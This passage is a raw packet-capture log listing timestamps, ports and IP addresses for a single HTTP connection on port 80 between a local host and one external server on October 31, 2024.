Oct 31, 2024 11:27:24.859345913 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.859354973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.859364986 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.859369040 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.859392881 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.859416008 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.890938044 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.891017914 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.891258001 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.891299009 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.898030043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.898041010 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.898112059 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.976805925 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.976843119 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.976865053 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.976876974 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.976888895 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.976906061 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.976942062 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.976990938 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.976995945 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977020025 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977031946 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977041960 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977042913 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977058887 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977060080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977076054 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977078915 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977097034 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977123976 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977370977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977384090 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977395058 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977406979 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977418900 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977418900 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977432966 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977435112 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977446079 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977452993 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977458954 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977472067 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977473974 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977487087 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977494955 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977499008 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977508068 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977513075 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977525949 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977529049 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977545977 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977561951 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977725029 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977737904 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977749109 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977761030 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977771997 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977773905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977787018 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977788925 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977799892 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977807045 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977824926 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977834940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977840900 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977852106 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977864027 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977876902 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977876902 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977889061 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977893114 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977901936 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977911949 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977916956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977930069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.977930069 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977945089 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977962017 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.977977037 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.978411913 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978424072 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978435040 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978450060 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978463888 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.978465080 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978477001 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978487968 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.978488922 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978502035 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978514910 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.978518009 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978529930 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978543043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978555918 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.978555918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978570938 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.978571892 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978584051 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978594065 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.978610992 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.978679895 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.978853941 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978867054 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978878021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978892088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978893995 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.978905916 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978914976 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.978919029 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978934050 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.978938103 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978949070 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.978954077 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978965998 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.978969097 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978981972 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.978982925 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.978996992 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979001999 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979017019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979017973 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979031086 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979032993 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979044914 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979054928 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979057074 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979072094 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979074955 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979084969 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979091883 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979098082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979110003 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979110956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979125023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979126930 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979136944 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979146004 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979150057 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979162931 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979165077 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979176044 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979186058 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979187965 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979203939 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979219913 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979741096 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979756117 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979768038 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979779959 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979794025 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979794025 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979815960 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979835987 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979881048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979896069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979906082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979919910 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979923964 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979933023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979943037 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979944944 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979959011 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979963064 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979971886 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.979985952 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.979986906 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980000973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980000973 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980015039 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980031013 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980060101 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980247021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980262995 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980274916 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980287075 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980288029 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980305910 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980323076 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980427980 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980441093 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980452061 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980463982 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980469942 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980478048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980496883 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980498075 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980509043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980514050 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980523109 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980532885 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980536938 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980550051 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980555058 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980562925 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980572939 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980576992 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980588913 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980590105 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980603933 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980609894 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980618954 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980633974 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980640888 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980644941 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980659008 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980664015 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980673075 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980683088 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980690002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980701923 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.980705023 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980737925 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.980750084 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.981168985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.981184959 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.981221914 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.981244087 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.015098095 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.015115023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.015136003 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.015147924 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.015161037 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.015161037 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.015192986 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.015211105 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.092539072 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092557907 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092577934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092591047 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092603922 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092616081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092632055 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092652082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092664003 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092683077 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092694044 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092690945 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.092706919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092719078 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092727900 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.092732906 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092762947 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.092782021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092782021 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.092794895 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092808962 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092828989 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.092847109 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.092892885 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092905998 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092917919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092931986 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.092931986 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092963934 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.092997074 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.092998028 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093008995 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093044043 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093066931 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093080044 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093091965 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093106031 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093137980 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093235970 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093247890 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093260050 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093271017 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093281984 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093290091 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093293905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093307018 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093307018 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093319893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093327045 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093346119 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093370914 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093409061 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093424082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093456030 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093458891 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093472958 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093485117 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093497038 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093504906 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093508959 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093521118 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093524933 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093533039 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093550920 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093578100 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093696117 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093707085 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093718052 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093744040 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093758106 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093785048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093796968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093808889 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.093832016 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093857050 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.093997955 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094010115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094022036 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094033957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094046116 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094046116 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094060898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094073057 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094080925 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094084978 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094100952 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094122887 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094189882 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094202042 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094213963 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094237089 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094250917 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094260931 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094264984 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094276905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094290018 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094300032 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094302893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094315052 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094329119 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094331026 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094347000 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094374895 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094562054 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094573021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094584942 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094597101 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094609976 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094609976 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094624043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094635963 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094643116 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094649076 CET	80	49757	185.215.113.206	192.168.2.4
